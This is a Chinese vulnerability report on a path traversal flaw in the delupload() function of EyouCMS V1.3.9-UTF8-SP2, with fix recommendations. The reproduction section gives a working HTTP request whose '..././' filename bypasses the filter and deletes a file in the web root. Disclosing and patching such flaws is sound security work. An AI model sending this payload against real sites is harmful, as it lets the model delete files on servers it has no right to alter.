EyouCMS-V1.3.9-UTF8-SP2,有一个删除站点图片的bug
字数 867 2025-08-26 22:11:15
EyouCMS V1.3.9-UTF8-SP2 图片删除漏洞分析报告
漏洞概述
EyouCMS V1.3.9-UTF8-SP2 版本中存在一个图片删除功能的路径遍历漏洞,允许认证用户通过构造特殊路径删除网站根目录下的文件。
漏洞详情
漏洞文件
\application\user\controller\Uploadify.php 第66行的 delupload() 方法
漏洞类型
路径遍历漏洞 (Directory Traversal)
漏洞等级
低危
影响版本
EyouCMS V1.3.9-UTF8-SP2
技术分析
漏洞代码分析
public function delupload()
{
$filename = str_replace('../', '', $filename); // "../"过滤不够
// 其他代码...
}
漏洞原理
- 过滤不充分:仅替换了
../,但未处理./或.../等变体 - 路径拼接:系统会将用户上传的文件存储在用户ID对应的目录下(如
xxx/xxx/4/) - 通过构造特殊路径可以绕过过滤,实现目录遍历
漏洞复现步骤
- 注册并登录会员账户(注意Cookie中的
users_id值) - 发送以下HTTP请求:
POST /eyoucms/?m=user&c=uploadify&a=delupload HTTP/1.1
Host: www.test.com
Cookie: home_lang=cn; users_id=4; PHPSESSID=tcts5qdj6o18fvntoabt47o8v6; admin_lang=cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=del&filename=xxx/xxx/4/..././..././..././favicon.ico
- 过滤后的实际路径:
xxx/xxx/4/../../../favicon.ico - 最终会删除网站根目录下的favicon.ico文件
关键点说明
users_id必须与Cookie中的值匹配(示例中为4)- 构造的路径经过过滤后会变成有效的目录遍历路径
- 可以删除网站根目录下的任意文件(需有写权限)
修复建议
- 加强路径过滤:
$filename = str_replace(array('../', './', '.../'), '', $filename);
- 使用realpath函数解析真实路径并检查是否在允许的目录内:
$basePath = '/path/to/allowed/directory/';
$realPath = realpath($basePath . $filename);
if (strpos($realPath, $basePath) !== 0) {
// 非法路径,拒绝操作
}
-
限制删除操作的文件范围,只允许删除用户自己的上传文件
-
对文件操作进行权限检查
漏洞利用限制
- 需要普通用户权限(可注册获得)
- 只能删除Web服务器有写权限的文件
- 需要知道目标文件的相对路径
总结
该漏洞展示了在文件操作中路径过滤不充分可能导致的安全问题。开发人员应当:
- 对所有用户提供的文件路径进行严格验证
- 使用白名单机制限制可操作的文件范围
- 实施最小权限原则,限制文件操作的目录
- 对关键文件操作进行日志记录
通过完善路径过滤和权限检查机制,可以有效防止此类漏洞的发生。